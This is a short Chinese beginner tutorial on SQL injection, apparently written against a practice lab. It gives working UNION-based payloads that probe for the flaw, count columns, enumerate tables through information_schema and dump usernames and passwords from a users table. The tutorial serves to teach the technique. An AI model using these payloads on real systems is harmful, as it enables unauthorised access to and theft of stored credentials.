初级学习SQl注入
1.判断网页为动态还是静态
首先传递两个不同参数,网页显示不同,例如:?id=1 ,?id=2。显示不同为动态网页。
2.判断是否存在SQL注入漏洞
输入?id=1\ 可以看到报错有回显,提示语法错误
可以看到报错信息 “1\’) 可以知道可以看出输入方式(’id’)方式构成闭合
输入?id=1′) and 1 =1 — – 利用布尔表达式结果为真输出数据
输入?id=1′) and 1=2 — – 结果为假没有数据输出
可以看出此处存在sql注入漏洞。
3.判断几位字段
一般采用二分法比较高效
首先输入?id=1′) order by 10 — – 提示超出范围
二分法 输入?id=1′) order by 5 — -如图
输入?id=1′) order by 3 — – 如图出现数据
输入?id=1′) order by 4 — – 如图
经过以上判断可以看出显示字段3位。
4.判断那几位字段显示
输入语句?id=-1′) union select 1,2,3 — – 可以看到显示2,3,那么说明前端网页显示 2,3位字段
5.获取当前库,当前库的所有表,表里的字段
输入?id=-1′) union select 1,2,database() — – 获取库
输入?id=-1′) union select 1,database(),group_concat(distinct table_name) from information_schema.columns where table_schema=database() — – 获取表名
输入?id=-1′) union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’ — – users表里的字段
6.对信息获取
利用上面我们找到了库,表,字段,进行获取
输入?id=-1′) union select 1,group_concat(username),group_concat(password) from users — –